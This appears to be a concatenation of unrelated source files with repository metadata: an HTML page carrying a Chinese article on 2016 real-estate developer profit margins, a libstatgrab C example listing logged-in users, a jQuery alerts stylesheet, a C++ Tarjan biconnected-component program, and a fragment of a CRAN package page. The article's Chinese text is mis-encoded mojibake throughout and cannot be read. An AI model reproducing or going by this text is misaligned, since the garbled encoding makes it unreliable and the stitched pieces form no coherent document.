<p>¡¡¡¡¶àÄêÎȾӾ»ÀûÈó°ñ°ñÊ׵ľ»ÀûÈóÒ»¸çÖк£µØ²ú(00688.HK)ÒàδÄÜÐÒÃâ¡£Öк£Ä걨ÏÔʾ£¬Öк£2016Äê¹éÊôÉÏÊй«Ë¾¹É¶«¾»ÀûÈóΪ370.2ÒÚ¸ÛÔª¡£¹ýÈ¥ËÄÄ꣬¼´´Ó2012¡«2015Ä꣬Öк£¾»ÀûÈó·Ö±ðΪ187.2ÒÚ¸ÛÔª¡¢230.4ÒÚ¸ÛÔª¡¢276.8ÒÚ¸ÛÔª¡¢333.1ÒÚ¸ÛÔª£¬Í¬±ÈÔö·ù·Ö±ðΪ24.5%¡¢23%¡¢20.1%¡¢20.3%¡£ºÏ²¢ÖÐÐÅÖØÐ¼ÆËã²ÆÎñÊý¾Ýºó£¬2016ÄêÖк£¾»ÀûÈóµÄÔö·ùÖ»ÓÐ6.9%£¬ÔöËÙÖè½µ¡£Èç¹ûÌÞ³ýÖÐÐŵÄÓ°Ï죬2016ÄêµÄ¾»ÀûÈóͬ±ÈÔö·ùΪ14%¡£¾¡¹ÜÈç´Ë£¬»¹ÊǵøÆÆÁË20%µÄ¾»ÀûÈóÔö³¤ÂʺìÏß¡£</p>
<p>¡¡¡¡ÐÐÒµÓ¯ÀûÔö³¤Ï½µ£¬ÔçÔÚ2013Äê³õÏÖ¶ËÄß¡£ËäÈ»´ó¶àÊýÆóÒµ¶¼ÒѽÓÊÜÕâÒ»Ç÷ÊÆ²¢ÊÔͼͨ¹ý¼ÓÇ¿ÄÚ²¿¹Ü¿Ø¡¢½µµÍ³É±¾µÈ·½Ê½Äæ×ª¾ÖÃæ£¬µ«½ØÖÁĿǰ£¬ÒÀȻûÓгöÏÖÀÖ¹Û¼£Ïó¡£</p>
<p>¡¡¡¡Íò¿Æ(000002.SZ)Ä걨Êý¾ÝÏÔʾ£¬2016Ä꣬Íò¿ÆÊµÏÖÏúÊÛ½ð¶î3647.7ÒÚÔª£¬Í¬±ÈÔö³¤39.5%£¬ÓªÒµÊÕÈë2404.8ÒÚÔª£¬Ôö³¤23%£¬¹éÊôÓÚÉÏÊй«Ë¾¹É¶«µÄ¾»ÀûÈó½öΪ210.2ÒÚÔª£¬Ôö³¤16%¡£ÔÚÏúÊÛ°ñµÄǰÈýÃû£¬ºã´ó¡¢Íò¿Æ¡¢±Ì¹ðÔ°(02007.HK)³ÊÏÖÀàËÆ×ßÊÆ£¬¼´¾»ÀûÈóÔö³¤Ëٶȸú²»ÉÏÓªÊÕÔöËÙ£¬¸ü¸ú²»ÉϺÏͬÏúÊÛ½ð¶îÔöËÙ£¬ÏÔʾһÏßÕóÓªµÄÀûÈóûÓÐÓë¹æÄ£Í¬±ÈÔö³¤£¬Ó¯ÀûˮƽÈÔÔÚ×ߵ͡£</p>
<p>¡¡¡¡Í¬²ß×ÉѯÑо¿²¿×ܼàÕźêΰ¶ÔµÚÒ»²Æ¾¼ÇÕ߳ƣ¬´Ó2015Ä꿪ʼ£¬·¿ÆóÒÔ¹æÄ£Ôö³¤ÎªÖ÷Òª·¢Õ¹Ä¿±ê£¬¼´Ê¹½ñÄêÕþ²ßƵ·±¡¢ÐÐÇé²»ºÃ£¬µ«¶àÊý·¿ÆóͬÑù¶¨ÏÂÔöËÙΪ20%ÉõÖÁÒÔÉϵÄÏúÊÛÄ¿±ê¡£</p>
<p>¡¡¡¡ÕźêΰÈÏΪ£¬¡°ÆóÒµÒÔÎþÉüÀûÈóΪ´ú¼Û£¬Íƶ¯¹æÄ£µÄÔö³¤¡£ËäÈ»ÖÜתÂÊÔ½À´Ô½¸ß£¬µ«ÀûÈóÂÊÈ´ÖðÄêϽµ¡£¡±ÕâÇ¡ÄܽâÊÍ£¬ÎªºÎ2016Äê¹úÄÚÏúÊÛ½ð¶îǰÈýÃû¡¢½øÈë3000ÒÚÔª¾ãÀÖ²¿µÄºã´ó¡¢Íò¿Æ¡¢±Ì¹ðÔ°£¬È´·Ç¾»ÀûÈóÒ»¸çµÄÏÖÏó¡£</p>
<p>¡¡¡¡¡°³ýÁËÆóÒµÖ÷¹Û²ãÃæµÄÎþÉüÀûÈóÒÔÍÆ¶¯¹æÄ£Ôö³¤Í⣬²»¶ÏÉý¸ßµÄÍÁµØ³É±¾ÊÇѹËõÆóÒµÀûÈóµÄÖ÷ÒªÔÒò¡£¡±Õźêΰ±íʾ¡£</p>
<p style="text-align: center;"><img src="http://img.mp.itc.cn/upload/20170329/e20ea896768c4f9dabf61616cfdf4a87_th.jpg" alt="" style="max-width:600px;" /></p>
<p>¡¡¡¡<strong>¹æÄ£ÓëÐ§ÒæµÄÈ¡Éá</strong></p>
<p>¡¡¡¡±¬·¢Ê½Ôö³¤µÄʱ´úºìÀûһȥ²»¸´·µ£¬¡°ÓÐÖÊÁ¿µÄÔö³¤¡±³ÉΪ2017Äê3Ô·¿ÆóÒµ¼¨·¢²¼»áÉÏ×îÆµ·±±»Ìá¼°µÄÒ»¾ä»°¡£¹æÄ£ÒÔÀûÈóΪÂä½Åµã£¬ÀûÈóÓÖ·´¹ýÀ´ÒªÇó¹æÄ£Ôö³¤ÎªÆäÌṩ֧³Å¡£</p>
<p>¡¡¡¡ÀûÈóÂÊÔÚϽµ£¬µ«·¿Æó¶Ô¹æÄ£µÄ¿á°®ÈÔδÏûÍË¡£3ÔÂ22ÈÕ£¬»ªÈóÖõØÖ´ÐжÊ¡¢¶Ê»ḱÖ÷Ï¯ÌÆÓÂÔÚͶ×ÊÕß·ÖÎö»áÉϱíʾ£¬¹æÄ£ºÜÖØÒª£¬Òâζ×ÅÐÐÒµµØÎ»¡£</p>
<p>¡¡¡¡ÌÆÓ½«¹æÄ£µÄÔö³¤±È×÷¡°³¤ÅÜÓë¶ÌÅÜ¡±µÄ¹ØÏµ£¬ÈôҪ׷Çó¶ÌÆÚ¿ìËÙÔö³¤²¢²»ÄÑ£¬µ«ÕâÖÖ¡°³å´Ì¡±²»¿É³ÖÐø£¬Ö»Óб£Ö¤Ò»¶¨µÄÀûÈóˮƽ²ÅÊÇÓÐÖÊÁ¿µÄÔö³¤¡£ÌÆÓ±íʾ£º¡°ÎÒÃÇ×¢Òâµ½ÒµÄÚ¸ö±ðͬÐйæÄ£Ôö³¤½Ï¿ìµÄÏÖÏ󣬻á×ۺϿ¼ÂÇëÀûÂÊ¡¢¸ºÕ®±ÈÂÊ¡¢¼¤Àø»úÖÆºÍδÀ´·çÏÕµÈÒòËØ£¬×ö³öÊʵ±µÄµ÷Õû¡£¡±</p>
<p>¡¡¡¡Öк£Ò²¿ªÊ¼Ç¿µ÷¹æÄ£ÁË¡£¾Ý͸¶£¬Öк£½ñÄêµÄÄõØÔ¤ËãÊÇÈËÃñ±Ò1000ÒÚÔª£¬1600Íòƽ·½Ã×µÄÍÁµØ´¢±¸¡£¶ø2016ÄêÈ«Ä꣬Öк£Ò»¹²ÂòÈë18×ÚÍÁµØ£¬ÐÂÔöÍÁ´¢Îª972Íòƽ·½Ã×£¬ÄõØ×ܽð¶îΪ406.8ÒÚÔª¡£</p>
<p>¡¡¡¡Ïà·´£¬ÒÔÍù¹ý¶È×·Öð¹æÄ£µÄ·¿Æó£¬¿ªÊ¼ÖØÊÓÓ¯ÀûÄÜÁ¦µÄÌáÉý¡£×÷Ϊ¹æÄ£µÚÒ»µÄ·¿µØ²úÆóÒµ£¬ºã´ó¹«¿ªÐû²¼£¬Òªµ÷ÕûÕ½ÂÔ£¬ÊµÏÖ¡°¹æÄ£+Ð§Òæ¡±µÄË«Ôö³¤£¬½«´Ó2017ÄêÆðÖð²½ÌáÉý¾»ÀûÂÊˮƽ£¬Ê¹µÃ¸ÃÊý×ÖÔÚδÀ´Á½Äê´ïµ½9%¡«10%µÄˮƽ¡£</p>
<p>¡¡¡¡±Ì¹ðÔ°²ÆÎñ²¿ÃŸºÔðÈËÒ²±íʾ£¬Ëæ×Ź«Ë¾½áËãµ¥¼ÛµÄÌáÉý£¬Ô¤¼ÆÎ´À´ÀûÈóÂÊ»áÓÐËùÌáÉý¡£¸Ã¹«Ë¾¹ýÈ¥¼¸ÄêµÄÀûÈóÂÊÖð²½Ï½µ£¬´Ó2012ÄêµÄ16.2%ϽµÖÁ2015ÄêµÄ8.6%£¬ËäÈ»2016ÄêÂÔ΢»ØÉý£¬µ«ÒÀȻά³ÖÓÚ8.9%µÄµÍλ¡£</p>
<p>¡¡¡¡Â̳ÇÖйúÐÐÕþ×ܲòÜÖÛÄÏÖ±½ÓÌáµ½ÁËĿǰµÄ·çÏÕÎÊÌâ¡£¡°¼òµ¥µÄ¹æÄ£Ôö³¤£¬ÕâÊǺÜΣÏյģ¬Ò»·½ÃæÊǶÔͶ×ÊÕߵIJ»¸ºÔðÈΣ¬ÁíÒ»·½ÃæÊǶԿͻ§µÄ²»¸ºÔðÈΡ£¡±</p>
<p>¡¡¡¡»¹ÓÐÒ»¸öȺÌ壬ÒòΪÔËÓªÄÜÁ¦µÄµô¶Ó¶øÑ¡ÔñÍ˳öÊг¡¡£2016Äê9Ô£¬ÁªÏëÒÔ138ÒÚÔªµÄ¼Û¸ñ½«·¿µØ²úÒµÎñ×ʲú°üתÈøøÈÚ´´;ËæºóµÄ11Ô£¬»ªöιɷݰþÀë·¿µØ²ú¿ª·¢ÒµÎñ¡£Í¬Äê12Ô£¬Öк½µØ²úÏò±£ÀûµØ²ú³öÊ۵ķ¿µØ²úÏîÄ¿¼°¹«Ë¾¹ÉȨÍê³É½»¸î¡£</p>
<p style="text-align: center;"><img src="http://img.mp.itc.cn/upload/20170329/8c872e39e7aa4b33abaaa146ade1ca66_th.jpg" alt="" style="max-width:600px;" /></p>
<p>¡¡¡¡<strong>Ô¤ÆÚÇ÷ÓÚ½÷É÷</strong></p>
<p>¡¡¡¡È¥Ä꣬Öйú·¿µØ²úÐÐÒµÏúÊÛ½ð¶îÍ»ÆÆ11ÍòÒÚ£¬´ïµ½Àúʷиߣ¬¿ª·¢ÉÌÏúÊÛ¶î´ó·ùÔö³¤£¬ÏÖ½ðÓà¶î¿Õǰ³ä×ã¡£µ«°éËæ×ÅÐÂÒ»ÂÖºê¹Ûµ÷¿Ø¸øÊг¡´øÀ´µÄ²»È·¶¨Ç°¾°£¬½øÈë3Ôµ׵Ŀª·¢ÉÌ£¬ÒѾÃ÷ÏÔûÓÐÄê³õµÄÀÖ¹Û¡£</p>
<p>¡¡¡¡ÔÚ×òÈÕ¾ÙÐеÄÈÚ´´Öйú(01918.HK)Òµ¼¨·¢²¼»áÉÏ£¬ÈÚ´´Öйú¶Ê³¤Ëïºê±ó±íʾ£¬»õ±ÒÕþ²ßÊÕ½ô£¬ÀûÂÊÔö¼Ó£¬ÕâЩ´ëÊ©»áÓ°Ïìµ½ÆóÒµÏÖ½ðÁ÷£¬´û¿î¼õÉÙ£¬·¿¼Û¿Ï¶¨»áÊÜÓ°Ïì¡£Õâ¸öÐÐÒµ·çÏպܴ󣬷çÏÕ´ó²»ÊÇÒòΪÊг¡£¬ÒòΪÏÖÔÚÂòµÄµØÒª¿÷Ç®¡£¡°Èç¹ûÕæµÄÕþ²ß·ÅËɺó£¬ÎÒÒ²²»´óÏàÐÅ»á´óÕÇ£¬ÒòΪ·¿¼ÛÒÑ´¦ÔÚ¸ßλÁË¡£ÎÒÃǶÔÊг¡ÊǷdz£±¯¹ÛµÄ£¬ÎÒÃÇ´ÓÈ¥Äê10Ô·ݿªÊ¼»ù±¾ÉϾͲ»ÄõØÁË¡£¡±</p>
<p>¡¡¡¡ÖÐԵزúÊ×ϯ·ÖÎöʦÕÅ´óΰ·ÖÎöÈÏΪ£¬´ÓÕþ²ßÔ¤ÆÚ¿´£¬±¾ÂÖ·¿¼Ûµ÷¿ØÈ«ÃæÔÙÉý¼¶£¬ÓöÕǼ´µ÷¡£¶øÇÒÓëÍùÄêµ÷¿Ø²»Ò»ÑùµÄÊÇ£¬±¾ÂÖµ÷¿ØÁ¦¶ÈË¢ÐÂÁËÀúÊ·¼Í¼£¬¶à´ÎÕþ²ß¿ÉÒÔ˵ȫ·½Ãæ·â¶ÂÁËÈκγ´·¿µÄ¿ÉÄÜÐÔ¡£¡°È«ÃæÊÕ½ô£¬Ô¤ÆÚÔÚ¸ÄÉÆÐèÇó±»ÒÖÖÆºó£¬°üÀ¨±±¾©¡¢³É¶¼¡¢ÏÃÃÅÕâЩ³ÇÊÐÓÐÍûÔٴνøÈëµÍÃÔµ÷ÕûÆÚ£¬³É½»Á¿ÒѾ³öÏÖÁËÃ÷ÏÔϵ÷¡£¡±</p>
<p>¡¡¡¡ÔÚÓíÖ޵زúµÄÒµ¼¨·¢²¼»áÉÏ£¬ÓíÖ޵زú¶Ê³¤ÁÖÁú°²Ëµ£º¡°·¿¼Ûµ¥ÏòÉÏÕǵÄÄê´úÒѾ½áÊø£¬Öйú·¿µØ²ú½øÈëÎȶ¨Ôö³¤Ê±´ú¡£¡±</p>
<p>¡¡¡¡¡°½ñÄêµÄÏúÊÛÄ¿±êÊÇ300ÒÚ£¬»á¸ù¾Ýʵ¼ÊÇé¿öµ½ÄêÖÐÔÙÌá¸ßÏúÊÛÖ¸±ê£¬Î´À´ÎåÄê¼Æ»®ÒªÍ»ÆÆÇ§ÒÚÏúÊ۶µ«ÊÇÎÒÃǺܹØ×¢Ó¯ÀûÊý¾Ý£¬ÎÒÃÇÏ£Íû°Ñÿ¸öÏîÄ¿ÀûÈóÂÊ×ö¸ß¡£¡±ÁÖÁú°²¸æËß¼ÇÕß¡£ÓíÖ޵زúÄ걨ÏÔʾ£¬2016ÄêÓíÖ޵زúºÏÔ¼ÏúÊÛ½ð¶îΪ232.06ÒÚÔª£¬Í¬±ÈÉÏÉý65.54%;¾»ÀûÈóΪ17.75ÒÚÔª£¬Í¬±ÈÔö³¤7.13%¡£</p>
<p>¡¡¡¡Í¬Ñù¶ÔδÀ´±£³Ö½÷É÷µÄ»¹ÓÐÂ̳ÇÖйú£¬ÔÚÆä2016Äê¶ÈÒµ¼¨·¢²¼»áÉÏ£¬²ÜÖÛÄϸüÊDZ£³Ö±¯¹ÛµÄ̬¶È¡£ËûÈÏΪ£¬È¥Äê¹úÄÚз¿³É½»Á¿ÊÇ11.6ÍòÒÚ£¬¿ÉÊÇÔ¼5ÍòÒÚ¹ºÂòÁ¦ÊÇͶ×ʹºÂò¡£¶ø½ñÄê·¿µØ²úÕþ²ßµ÷¿ØÃ÷ÏÔ¼ÓÇ¿£¬Òò´Ë³É½»Á¿Ó¦¸Ã»á½µµ½7ÍòÒÚ¡«8ÍòÒÚ¡£Ãæ¶ÔÕâÑùµÄϽµ·ù¶È£¬ËûÈÏΪºÜ¶à¿ª·¢É̹æÄ£²»¿ÉÄÜÔö¼ÓºÜ¿ì¡£</p>
<p>¡¡¡¡³öÓÚÕâÑù½÷É÷µÄÇéÐ÷£¬Â̳ǽ«×Ô¼ºµÄÏúÊÛÄ¿±êÒ²¶¨µÃ·Ç³£±£ÊØ¡£²ÜÖÛÄϱíʾ£¬Â̳Ƿ¿²úÏúÊÛÄ¿±êÔ¼700ÒÚ£¬´ú½¨ÏúÊÛÄ¿±êÔ¼200ÒÚ¡£°´ÕÕ¸ÃÊý×Ö£¬Â̳ǵĹæÄ£»ò±ÈÈ¥ÄêÏ»¬£¬¶ø²ÜÖÛÄÏÔòÈÏΪ¹æÄ£²¢²»ÖØÒª¡£</p>
<p>¡¡¡¡ÊÂʵÉÏ£¬ÔÚ´ó¶àÊýÒµÄÚÈËÊ¿¿´À´£¬¶¯éü·±¶µÄ¹æÄ£Ôö³¤²¢²»ÄܳÖÐø¡£ËùÒÔ£¬ÎȽ¡ÐÍÆóÒµÈçÍò¿Æ¡¢Öк££¬¾ù½«Ã¿ÄêµÄÔö³¤·ù¶ÈÈ·¶¨ÔÚ20%¡«30%×óÓÒ£¬¼´±ãÃæÁÙÊг¡ÐÐÇé´óºÃ£¬Ò²²»»áÓйýÓÚ³¬Ô¤ÆÚµÄ±íÏÖ¡£</p>
<p>¡¡¡¡2017Ä꣬ºã´ó½«ÆäºÏͬÏúÊÛÄ¿±êÈ·¶¨Îª4500ÒÚ£¬½ÏÉÏÄ곬¹ý80%µÄÔö³¤·ù¶Èϵ÷Ϊ30%×óÓÒ£¬µ«ÒÀÈ»ÊÇÐÐÒµ×î¸ßÄ¿±ê¡£¶ø±Ì¹ðÔ°Ò»¸Ä´Ëǰ¡°·±¶¡±µÄ¿ÚºÅ£¬½«Äê¶ÈÄ¿±êÈ·Á¢Îª4000ÒÚ£¬Ôö³¤Ô¼30%¡£</p>
<p>¡¡¡¡¸üÖµµÃÌá¼°µÄÊÇ£¬Íò¿ÆÔÚÄ걨ÖжÔ12¸ö³ÇÊеÄÏîÄ¿´æ»õ½øÐÐ13.8ÒÚÔªµÄµø¼Û×¼±¸£¬½Ï2015Äêµ×Ôö³¤82.3%¡£¶ÔÓÚ2016Äê´æ»õµø¼Û×¼±¸£¬Íò¿Æ¶ÃØÖìÐñÔÚ27ÈÕÕÙ¿ªµÄÒµ¼¨ËµÃ÷»áÉÏ»ØÓ¦³Æ¡£¡°ÕâÖ÷ÒªÊÇ»ùÓÚÉóÉ÷µÄ̬¶È£¬Î´À´ÈÔ½«½÷É÷£¬ÓÈÆä¶ÔÈýËÄÏß³ÇÊб£³Ö½÷É÷¡£¡±</p>
</p></div>
<div id="filerider">
<div class="filelink" style="margin:10px 0 0 0;"><a href="./P020160207382291268334.doc">¸½¼þ£º2016Äê±±¾©µØÇø²©Îï¹Ý´º½ÚϵÁлһÀÀ±í</a></div>
</div>
</div>
<div id="essaybottom" style="border:0; overflow:hidden; margin-bottom:0;">
<div style="padding-bottom:8px;" id="proclaim"><p style="float:left; line-height:30px;">·ÖÏíµ½£º</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone"></a><a href="#" class="bds_tsina" data-cmd="tsina"></a><a href="#" class="bds_tqq" data-cmd="tqq"></a><a href="#" class="bds_renren" data-cmd="renren"></a><a href="#" class="bds_weixin" data-cmd="weixin"></a></div>
<sCRIPt>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdPic":"","bdStyle":"0","bdSize":"16"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"·ÖÏíµ½£º","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('sCRIPt')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</sCRIPt></div>
</div>
<div id="essaybottom" style="margin-top:0;">
<div style="padding-bottom:8px;" id="proclaim">תժÉùÃ÷£º×ªÕªÇë×¢Ã÷³ö´¦²¢×ö»ØÁ´</div>
</div>
</div>
</div>
<!-- /container -->
<div id="footer">
<div class="container">
<div class="span1" style="text-align:center"><sCRIPt type="text/javasCRIPt">document.write(unescape("%3Cspan id='_ideConac' %3E%3C/span%3E%3CsCRIPt src='http://dcs.conac.cn/js/01/000/0000/60429971/CA010000000604299710004.js' type='text/javasCRIPt'%3E%3C/sCRIPt%3E"));</sCRIPt></div>
<div class="span8">
<div class="footer-top">
<div class="footer-class">
<p> <a title="¹ØÓÚÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306339.htm" style=" background:0">¹ØÓÚÎÒÃÇ</a><a target="_blank" title="Õ¾µãµØÍ¼" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306342.htm">Õ¾µãµØÍ¼</a><a target="_blank" title="ÁªÏµÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306343.htm">ÁªÏµÎÒÃÇ</a><a target="_blank" title="ÆÀ¼ÛÊ×¶¼Ö®´°" href="mailto:service@beijing.gov.cn">ÆÀ¼ÛÊ×¶¼Ö®´°</a><a target="_blank" title="·¨ÂÉÉùÃ÷" href="http://www.beijing.gov.cn/zdxx/t709204.htm">·¨ÂÉÉùÃ÷</a> </p>
<p>Ö÷°ì£º±±¾©ÊÐÈËÃñÕþ¸® °æÈ¨ËùÓга죺±±¾©Êо¼ÃºÍÐÅÏ¢»¯Î¯Ô±»á ¾©ICP±¸05060933ºÅ ÔËÐйÜÀí£ºÊ×¶¼Ö®´°ÔËÐйÜÀíÖÐÐÄ</p>
<p>¾©¹«Íø°²±¸ 110105000722 µØÖ·£º±±¾©Êг¯ÑôÇø±±³½Î÷·Êý×Ö±±¾©´óÏÃÄϰ˲㠴«Õ棺84371700 ¿Í·þÖÐÐĵ绰£º59321109</p>
</div>
</div>
</div>
</div>
</div>
<div style="display:none">
<sCRIPt type="text/javasCRIPt">document.write(unescape("%3CsCRIPt src='http://yhfx.beijing.gov.cn/webdig.js?z=12' type='text/javasCRIPt'%3E%3C/sCRIPt%3E"));</sCRIPt>
<sCRIPt type="text/javasCRIPt">wd_paramtracker("_wdxid=000000000000000000000000000000000000000000")</sCRIPt>
</div>
<sCRIPt src="http://static.gridsumdissector.com/js/Clients/GWD-800003-C99186/gs.js" language="JavaScript"></sCRIPt>
<sCRIPt type="text/javasCRIPt">
// ÉèÖÃΪÖ÷Ò³
function SetHome(obj,vrl){
try{
obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl);
}
catch(e){
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
}
catch (e) {
alert("´Ë²Ù×÷±»ä¯ÀÀÆ÷¾Ü¾ø£¡\nÇëÔÚä¯ÀÀÆ÷µØÖ·À¸ÊäÈë¡°about:config¡±²¢»Ø³µ\nÈ»ºó½« [signed.applets.codebase_principal_support]µÄÖµÉèÖÃΪ'true',Ë«»÷¼´¿É¡£");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}else{
alert("ÄúµÄä¯ÀÀÆ÷²»Ö§³Ö£¬Çë°´ÕÕÏÂÃæ²½Öè²Ù×÷£º1.´ò¿ªä¯ÀÀÆ÷ÉèÖá£2.µã»÷ÉèÖÃÍøÒ³¡£3.ÊäÈ룺"+vrl+"µã»÷È·¶¨¡£");
}
}
}
// ¼ÓÈëÊÕ²Ø ¼æÈÝ360ºÍIE6
function shoucang(sTitle,sURL)
{
try
{
window.external.addFavorite(sURL, sTitle);
}
catch (e)
{
try
{
window.sidebar.addPanel(sTitle, sURL, "");
}
catch (e)
{
alert("¼ÓÈëÊÕ²ØÊ§°Ü£¬ÇëʹÓÃCtrl+D½øÐÐÌí¼Ó");
}
}
}
</sCRIPt>
<!-- Le javasCRIPt
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<sCRIPt src="/images/zhuanti/xysym/jquery.js"></sCRIPt>
<sCRIPt src="/images/zhuanti/xysym/bootstrap-collapse.js"></sCRIPt>
<sCRIPt>
$(document).ready(function(){
$(".ui-select").selectWidget({
change : function (changes) {
return changes;
},
effect : "slide",
keyControl : true,
speed : 200,
scrollHeight : 250
});
});
</sCRIPt>
</body>
</html>
|
ForAEdesWeb/AEW25
|
logs/meng/q468119.html
|
HTML
|
gpl-2.0
| 24,563
|
/*
* i-scream libstatgrab
* http://www.i-scream.org
* Copyright (C) 2000-2013 i-scream
* Copyright (C) 2010-2013 Jens Rehsack
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* $Id$
*/
#include <stdio.h>
#include <statgrab.h>
#include <stdlib.h>
#include <unistd.h>
#include "helpers.h"
int main(int argc, char **argv){
size_t nusers, x;
sg_user_stats *users;
#if 0
int c;
int delay = 1;
while ((c = getopt(argc, argv, "d:")) != -1){
switch (c){
case 'd':
delay = atoi(optarg);
break;
}
}
#endif
/* Initialise helper - e.g. logging, if any */
sg_log_init("libstatgrab-examples", "SGEXAMPLES_LOG_PROPERTIES", argc ? argv[0] : NULL);
/* Initialise statgrab */
sg_init(1);
/* Drop setuid/setgid privileges. */
if (sg_drop_privileges() != SG_ERROR_NONE)
sg_die("Error. Failed to drop privileges", 1);
users = sg_get_user_stats(&nusers);
if( users == NULL )
sg_die("Failed to get logged on users", 1);
printf( "%16s %16s %24s %8s %24s\n", "login name", "device", "hostname", "pid", "login time" );
for( x = 0; x < nusers; ++x ) {
char ltbuf[256];
struct tm *tm;
tm = localtime(&users[x].login_time);
strftime(ltbuf, sizeof(ltbuf), "%c", tm);
printf( "%16s %16s %24s %8d %24s\n", users[x].login_name, users[x].device, users[x].hostname, (int) users[x].pid, ltbuf );
}
exit(0);
}
|
campus-explorer/dpkg-libstatgrab
|
examples/user_list.c
|
C
|
gpl-2.0
| 2,011
|
#popup_container {
font-family: Arial, sans-serif;
font-size: 12px;
min-width: 300px; /* Dialog will be no smaller than this */
max-width: 600px; /* Dialog will wrap after this width */
background: #FFF;
border: solid 5px #999;
color: #000;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
border-radius: 5px;
}
#popup_title {
font-size: 14px;
font-weight: bold;
text-align: center;
line-height: 1.75em;
color: #666;
background: #CCC url(img_jquery/title.gif) top repeat-x;
border: solid 1px #FFF;
border-bottom: solid 1px #999;
cursor: default;
padding: 0em;
margin: 0em;
}
#popup_content {
background: 16px 16px no-repeat url(img_jquery/info.gif);
padding: 1em 1.75em;
margin: 0em;
}
#popup_content.alert {
background-image: url(img_jquery/info.gif);
}
#popup_content.confirm {
background-image: url(img_jquery/important.gif);
}
#popup_content.prompt {
background-image: url(img_jquery/help.gif);
}
#popup_message {
padding-left: 48px;
}
#popup_panel {
text-align: center;
margin: 1em 0em 0em 1em;
}
#popup_prompt {
margin: .5em 0em;
}
|
iriber/turnos-ui
|
css/jquery/jquery.alerts.css
|
CSS
|
gpl-2.0
| 1,136
|
#include<iostream>
#include<cstdio>
#include<cstring>
//#include<vector>
#include<algorithm>
#define U_DEBUG
#define L_JUDGE
#ifdef L_JUDGE
#pragma warning(disable:4996)
#endif
using namespace std;
const int MAXN=2e4+10;
const int MAXM=2e5+10;
#define MEM(x,a) memset(x,a,sizeof(x))
int top,first[MAXN],adj[MAXM],to[MAXM];
int low[MAXN],dfn[MAXN],parent[MAXN];
bool vis[MAXN];
int pstack[MAXM];
int pcolor[MAXN];
int N,M;
void Init(){
top=0;
MEM(first,-1);
MEM(adj,-1);
MEM(to,-1);
MEM(low,0x5f);
MEM(dfn,0x5f);
MEM(parent,-1);
MEM(vis,false);
MEM(pcolor,-1);
pstack[0]=0;
pcolor[0]=0;
}
void Add(int u,int v){
adj[top]=first[u];
to[top]=v;
first[u]=top++;
}
void Tarjan(int u){
static int counter=0;
vis[u]=true;
low[u]=dfn[u]=++counter;
int nchild=0;
pstack[++pstack[0]]=u;
for(int pos=first[u];pos!=-1;pos=adj[pos]){
int v=to[pos];
if(!vis[v]){
nchild++;
parent[v]=u;
Tarjan(v);
low[u]=min(low[u],low[v]);
}else if(v!=parent[u]){
low[u]=min(low[u],dfn[v]);
}
}
if(low[u]>=dfn[u]){
++pcolor[0];
int tmp;
do{
tmp=pstack[pstack[0]--];
pcolor[tmp]=pcolor[0];
}while(tmp!=u);
}
}
int main(){
#ifdef L_JUDGE
freopen("in.txt","r",stdin);
// freopen("out.txt","w",stdout);
#endif
Init();
scanf("%d%d",&N,&M);
for(int mi=0;mi<M;mi++){
int u,v;
scanf("%d%d",&u,&v);
Add(u,v);Add(v,u);
}
Tarjan(1);
MEM(pstack,-1);
printf("%d\n",pcolor[0]);
for(int ni=1;ni<=N;ni++){
if(pstack[pcolor[ni]]==-1){
pstack[pcolor[ni]]=ni;
}
printf("%d",pstack[pcolor[ni]]);
if(ni<N)putchar(' ');
else putchar('\n');
}
#ifdef L_JUDGE
fclose(stdin);
fclose(stdout);
// system("out.txt");
#endif
return 0;
}
|
fangtanchen/Learning
|
1_Algorithm/HihoCodes/1184_Edge_Biconnected_Component/3.cpp
|
C++
|
gpl-2.0
| 1,978
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CRAN - Package flowfield</title>
<link rel="stylesheet" type="text/css" href="../../CRAN_web.css" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
table td { vertical-align: top; }
</style>
</head>
<body>
<h2>flowfield: Forecasts future values of a univariate time series</h2>
<p>Flow field forecasting draws information from an interpolated flow field of the observed time series to incrementally build a forecast.</p>
<table summary="Package flowfield summary">
<tr>
<td>Version:</td>
<td>1.0</td>
</tr>
<tr>
<td>Suggests:</td>
<td><a href="../SemiPar/index.html">SemiPar</a></td>
</tr>
<tr>
<td>Published:</td>
<td>2014-03-06</td>
</tr>
<tr>
<td>Author:</td>
<td>Kyle A. Caudle</td>
</tr>
<tr>
<td>Maintainer:</td>
<td>Kyle A. Caudle <kyle.caudle at sdsmt.edu></td>
</tr>
<tr>
<td>License:</td>
<td><a href="../../licenses/GPL-3">GPL-3</a></td>
</tr>
<tr>
<td>NeedsCompilation:</td>
<td>no</td>
</tr>
<tr>
<td>CRAN checks:</td>
